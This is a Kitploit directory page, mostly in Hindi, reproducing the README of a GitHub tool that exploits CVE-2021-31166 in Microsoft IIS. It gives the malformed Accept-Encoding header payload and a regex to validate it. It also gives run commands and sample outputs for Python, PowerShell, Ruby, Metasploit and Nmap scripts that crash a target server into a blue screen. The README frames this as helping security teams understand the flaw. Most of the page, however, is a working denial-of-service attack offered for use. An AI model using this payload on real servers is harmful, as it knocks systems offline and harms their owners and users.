Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2021-31166 — CVE-2021-31166: exploitation with Powershell, Python, Ruby, NMAP and Metasploit. | Kitploit
उपकरण/GitHubGitHub/mauricelambert/cve-2021-31166
Vulnerability ScannersExploit FrameworksVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPayload Development
GitHubmauricelambert/cve-2021-31166

CVE-2021-31166

CVE-2021-31166: exploitation with Powershell, Python, Ruby, NMAP and Metasploit.

रिपॉजिटरी देखें
64 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2021-31166

क्यों

मैंने हाल ही में CVE-2021-31166 के लिए एक एक्सप्लॉइट लिखा था, यह CVE-2021-31166 और CVE-2021-31166 का शोषण करता है। एक पेंटेस्टर को https://github.com/mauricelambert/CVE-2021-31166 का उपयोग करना चाहिए, लेकिन SOC टीमों में हमें विशिष्ट भेद्यता के बारे में जानने की आवश्यकता होती है ताकि इसे सही ढंग से ठीक किया जा सके, इसीलिए मैंने यह एक्सप्लॉइट लिखा है।

विवरण

मैं एक असुरक्षित IIS वेब सर्वर पर हमला करने के लिए शुद्ध पायथन, पॉवरशेल, रूबी स्क्रिप्ट और मेटास्प्लॉइट, nmap मॉड्यूल प्रस्तावित करता हूं (सर्वर को क्रैश (ब्लू स्क्रीन) करने के लिए DOS हमला करें)।

पेलोड बहुत सरल है:

  • Accept-Enconding: something, ,
  • something को किसी भी हेडर मान से बदलें जो आप चाहते हैं
  • इसके साथ मेल खाना चाहिए: Accept-Enconding: (\w|[~/\.-]|%[0-9a-fA-F]{2})+,\s+,

अपने पेलोड को पायथन से जांचें:

root@kitploit:~
from re import fullmatch
if fullmatch(r"Accept-Enconding: (\w|[~/\.-]|%[0-9a-fA-F]{2})+,\s+,", "Accept-Enconding: something, ,"):
    print("Payload is valid !")

एक्सप्लॉइट: DOS - ब्लू स्क्रीन

पायथन

root@kitploit:~
python3 CVE202131166.py
# OR
chmod u+x CVE202131166.py
./CVE202131166.py

python3 CVE202131166.py <target>
# OR
chmod u+x CVE202131166.py
./CVE202131166.py <target>

python3 CVE202131166.py 10.10.10.10
# OR
chmod u+x CVE202131166.py
./CVE202131166.py 10.10.10.10:8000
# OR
python3 CVE202131166.py mywebservername
root@kitploit:~
~# python CVE202131166.py

CVE-2021-31166  Copyright (C) 2022  Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.

Target: 10.10.10.10

[+] http://10.10.10.10 is UP. Send payload...
[+] http://10.10.10.10 is DOWN. 10.10.10.10 is vulnerable to CVE-2021-31166.

~# 

पॉवरशेल

root@kitploit:~
powershell ./CVE-2021-31166.ps1
powershell ./CVE-2021-31166.ps1 mywebservername
powershell ./CVE-2021-31166.ps1 -Target 10.10.10.10
root@kitploit:~
cmd> powershell ./CVE-2021-31166.ps1

cmdlet CVE-2021-31166.ps1 at command pipeline position 1
Supply values for the following parameters:
target: 10.10.10.10:8000

CVE-2021-31166  Copyright (C) 2022  Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.

cmd>

रूबी

root@kitploit:~
ruby CVE-2021-31166.rb
ruby CVE-2021-31166.rb 10.10.10.10
root@kitploit:~
~# ruby CVE-2021-31166.rb

CVE-2021-31166  Copyright (C) 2022  Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.

Host (target): 10.10.10.10
[+] Target: 10.10.10.10 is vulnerable and down.

~#

मेटास्प्लॉइट

पायथन मॉड्यूल

root@kitploit:~
msf6 > use exploit/windows/iis/py_dos_iis_2021_31166
msf6 auxiliary(windows/iis/py_dos_iis_2021_31166) > set RHOST 10.10.10.10
RHOST => 10.10.10.10
msf6 auxiliary(windows/iis/py_dos_iis_2021_31166) > set RPORT 80
RPORT => 80
msf6 auxiliary(windows/iis/py_dos_iis_2021_31166) > exploit
[*] Running module against 127.0.0.1

[*] Starting server...
[*] py_dos_iis_2021_31166.py[10.10.10.10:80] - Trying first connection...
[*] py_dos_iis_2021_31166.py[10.10.10.10:80] - First connection OK. Sending payload...
[*] py_dos_iis_2021_31166.py[10.10.10.10:80] - Target is down ! Congratulations !
[*] Auxiliary module execution completed
msf6 auxiliary(windows/iis/py_dos_iis_2021_31166) >

रूबी मॉड्यूल

root@kitploit:~
msf6 > use exploit/windows/iis/rb_dos_iis_2021_31166 
msf6 auxiliary(windows/iis/rb_dos_iis_2021_31166) > set RHOST 10.10.10.10
RHOST => 10.10.10.10
msf6 auxiliary(windows/iis/rb_dos_iis_2021_31166) > exploit
[*] Running module against 10.10.10.10

[+] Target is down ! Congratulations !
[*] Auxiliary module execution completed
msf6 auxiliary(windows/iis/rb_dos_iis_2021_31166) >

Nmap

root@kitploit:~
nmap -p 80 --script dos_iis_2021_31166 10.10.10.10
root@kitploit:~
~# nmap -p 80 --script dos_iis_2021_31166 10.10.10.10
80/tcp open  http
| dos_iis_2021_31166:
|   VULNERABLE:
|   IIS CVE-2021-31166 DOS
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2021-31166
|                   The IIS Web Server contains a RCE vulnerability. This script
|                   exploits this vulnerability with a DOS attack
|                   (causes a Blue Screen).
|
|     Disclosure date: 2021-05-11
|     References:
|       https://nvd.nist.gov/vuln/detail/CVE-2021-31166
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31166
|_      https://github.com/mauricelambert/CVE-2021-31166

स्रोत

  • Microsoft
  • nvd.nist.gov
  • शुद्ध रूबी स्क्रिप्ट दस्तावेज़ीकरण

लाइसेंस

GPL, संस्करण 3 के अंतर्गत लाइसेंस प्राप्त है।

टूल डाउनलोड करें